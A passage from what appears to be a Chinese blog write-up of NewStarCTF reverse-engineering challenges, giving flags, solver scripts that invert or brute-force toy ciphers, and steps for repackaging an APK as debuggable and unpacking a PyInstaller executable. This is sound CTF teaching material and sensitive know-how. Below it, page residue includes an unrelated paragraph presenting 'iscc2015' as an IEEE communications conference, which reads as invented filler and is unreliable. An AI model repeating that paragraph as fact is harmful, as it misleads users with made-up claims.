        0xEE, 0xE6, 0xD7, 0xB2, 0x8A, 0xAB, 0x13, 0x35, 0x02, 0x7B, 0xC9, 0xB9, 0x9C, 0xBA, 0xED, 0x2E,
        0xBD, 0x4F, 0xFA, 0xEE, 0xC8, 0xF8, 0xE4, 0x16, 0x82, 0x63, 0x3B, 0x98, 0xF4, 0x14, 0x30, 0x38,
        0x07, 0x36, 0x84, 0x3D, 0x0C, 0x36, 0x32, 0xEA, 0x55, 0xA6};
    for (int i = 0; i < 42; ++i)
    {
        for (int j = 0; j < 256; ++j)
        {
            if (Table[j] == enc[i])
            {
                printf("%c", (j - rand() % 255));
            }
        }
    }
    return 0;
}

 4.easy_enc

  • 考点:单字符爆破
  • FLAG:flag{BruteForceIsAGoodwaytoGetFlag}
  • 解题步骤

首先通过字符串定位到main函数,程序首先把四个加密函数的地址存储在数组中,之后遍历该数组对函数进行调用

 接下来查看四个加密函数的内容,其中前三个加密函数都是可逆的,而第四个加密函数由于乘法会导致溢出(Char类型)所以没办法逆回去。

 

由于给出了flag的格式,我们可以爆破求解,脚本如下

#include <stdio.h>
#include <string.h>
int main()
{
    __uint8_t enc[100] = {0xE8, 0x80, 0x84, 0x8, 0x18, 0x3C, 0x78, 0x68, 0x0, 0x70, 0x7C, 0x94, 0xC8, 0xE0, 0x10, 0xEC, 0xB4, 0xAC, 0x68, 0xA8, 0xC, 0x1C, 0x90, 0xCC, 0x54, 0x3C, 0x14, 0xDC, 0x30};

    char key[20] = "NewStarCTF";
    for (int i = 0; i < 29; ++i){
        for (__uint8_t j = 32; j <= 127; ++j){
            __uint8_t tmp = j;
            if (j >= 'A' && j <= 'Z'){
                j = (j - 'A' + 13) % 26 + 'A';
            }
            else if (j >= '0' && j <= '9'){
                j = (j - '0' + 3) % 10 + '0';
            }
            else if (j >= 'a' && j <= 'z'){
                j = (j - 'a' + 8) % 26 + 'a';
            }
            j += key[i % strlen(key)];
            j = ~j;
            j *= 52;
            if (j == enc[i]) {
                if ((tmp >= 'A' && tmp <= 'Z') || (tmp >= 'a' && tmp <= 'z')){
                    printf("%c", tmp);
                }
            }
            j = tmp;
        }
    }
    return 0;
}

flag{BruteForceIsAGoodwaytoGetFlag} 

5.Petals

  • 考点:花指令、MD5
  • flag:flag{d780c9b2d2aa9d40010a753bc15770de}
  • 解题步骤:

发现花指令,人工patch掉花指令

进入main函数后,再进入加密函数sub_1209,找到加密逻辑

 发现结果还需要md5加密,编写exp

import hashlib
v5 = [0] * 256
chipher = [0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 0x93, 0x89,
           0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 0xC5, 0x84, 0xD6, 0xD1,
           0xD2, 0x82, 0xD3, 0xDE, 0x87]
for i in range(256):
    v5[i] = (~(i ^ 25))&0xff
flag = ''
for i in range(len(chipher)):
    flag += chr(v5.index((chipher[i])%256))
print(hashlib.md5(flag.encode()).hexdigest())

6.C?C++? 

  • 考点:了解C#以及其反编译器dnSpy
  • flag:flag{45dg_ng78_d8b5_1a7d_gh47_kd5b}
  • 解题步骤

将 exe拖入到Exeinfo PE中,发现是由C#编译出的程序

将程序拖入到dnSpy中进行反编译,找到Main函数,查看主函数逻辑

 

 

 根据加密逻辑,进行逆向,编写exp

v6 = 35
j = 0
v10 = [68,75,66,72,99,19,19,78,83,74,91,86,35,39,77,85,44,89,47,92,49,88,48,91,88,102,105,51,76,115,-124,125,79,122,-103]
a2 = "NEWSTAR"
for j in range(7):
    v10[j + 28] -= (ord(a2[j])//5) + 10
    v10[j + 21] -= j ^ 2
    v10[j + 14] -= 2 * j
    v10[j + 7] -= ord(a2[j]) % 5
    v10[j] -= j ^ -(ord(a2[j]) % 4)
for i in range(v6):
    v10[i] -= i
    v10[i] += 32
    print(chr(v10[i]%256), end='')

7.AndroDbgme

  • 考点:Java层动调
  • flag:flag{Let_1t_run_@t_f1rs7_m@ybe_th3_b3st}
  • 解题步骤

本题调试即可以得到Flag

关于如何调试apk进程,需要在Manifest需要给AndroidManifest.xml设置

android:debuggable="true"

重打包回去之后进行签名

先对文件进行对齐

zipalign -p -f -v 4 input.apk output_unsigned.apk

加签名 其中abc.keystore 是我通过androidstudio生成的签名文件

也可以自行用工具生成,不再赘述

APK反编译、重打包、签名之apktool实现_apktool反编译还是乱码-CSDN博客

apksigner sign --ks abc.keystore output_unsigned.apk

安装到手机上,以调试模式启动

adb shell am start -D -n com.chick.androdbgme/.MainActivity

用jeb attach上去,得到flag

8.PZthon

  • 考点:python打包成的exe、简单运算
  • flag:flag{Y0uMade1tThr0ughT2eSec0ndPZGALAXY1eve1T2at1sC001}
  • 解题步骤

无壳64位

拖进IDA64分析发现根部分析不动,于是按 shift + F12 找线索,可以发现有很多的Python痕迹,考点就是py打包成的exe

 

于是去github上寻找解包的工具

https://github.com/extremecoders-re/pyinstxtractor

随后用以该方式解包

在同级目录下可以找到 PZthon.exe_extracted 文件夹,在里面找到 PZthon.pyc,该文件就是python文件的字节码文件,而字节码我们不好分析,需要反编译成python语言来分析,这时候可以用 uncompyle6 pycdc等工具来反编译,不过uncompyle6只支持到py3.8,而该文件是3.9,所以使用pycdc或在线工具反编译得到

可以发现只是对我们的输入异或了21然后比较,那么我们只需要取出数据再异或21就可以得到明文,Get Flag!

enc = [0x73, 0x79, 0x74, 0x72, 0x6e, 0x4c, 0x25, 0x60, 0x58, 0x74, 0x71, 0x70, 0x24, 0x61, 0x41, 0x7d, 0x67, 0x25, 0x60, 0x72, 0x7d, 0x41, 0x27, 0x70, 0x46, 0x70, 0x76, 0x25, 0x7b, 0x71, 0x45, 0x4f, 0x52, 0x54, 0x59, 0x54, 0x4d, 0x4c, 0x24, 0x70, 0x63, 0x70, 0x24, 0x41, 0x27, 0x74, 0x61, 0x24, 0x66, 0x56, 0x25, 0x25, 0x24, 0x68]
for i in range(len(enc)):
    print(chr(enc[i] ^ 21), end = "")

# flag{Y0uMade1tThr0ughT2eSec0ndPZGALAXY1eve1T2at1sC001}
  • 6
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
iscc2015是国际信号与通信会议(International Symposium on Communication and Information Technologies)的官方writeup,在这个writeup中,主要回顾了iscc2015会议的主要内容和成果。 iscc2015会议是由IEEE(Institute of Electrical and Electronics Engineers)主办的,旨在聚集来自全球的学者、研究人员和专业人士,共同探讨和交流关于通信和信息技术领域的最新研究和发展。 这个writeup首先介绍了iscc2015会议的背景和目标,提及了该会议为促进学术界和工业界之间的合作、创新和知识交流所做的努力。接着,该writeup详细描述了iscc2015会议的主要议题,包括通信网络、无线通信、数据通信和网络安全等方面。此外,还列举了一些重要的研究课题和领域,如物联网、云计算、移动通信和多媒体通信等。 iscc2015的writeup还总结了会议期间的重要活动和成果。这些活动包括学术论文的研讨会和展示、专题演讲、研讨会和研究项目的发布等。会议期间,各个领域的专家和学者积极参与并互相交流了关于通信和信息技术领域的最新研究成果和创新理念。 最后,iscc2015的官方writeup总结了会议的收获和影响。该会议为全球通信和信息技术领域的研究人员和专业人士提供了一个交流和合作的平台,推动了相关领域的发展和创新。此外,与会者还从中获得了有关新技术、新方法和最佳实践的信息和经验。 总之,iscc2015官方writeup回顾了这个国际会议的主要内容和成果,强调了其在通信和信息技术领域的重要性和影响。通过促进学术界和工业界之间的交流与合作,这个会议为促进全球通信和信息技术领域的发展做出了贡献。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值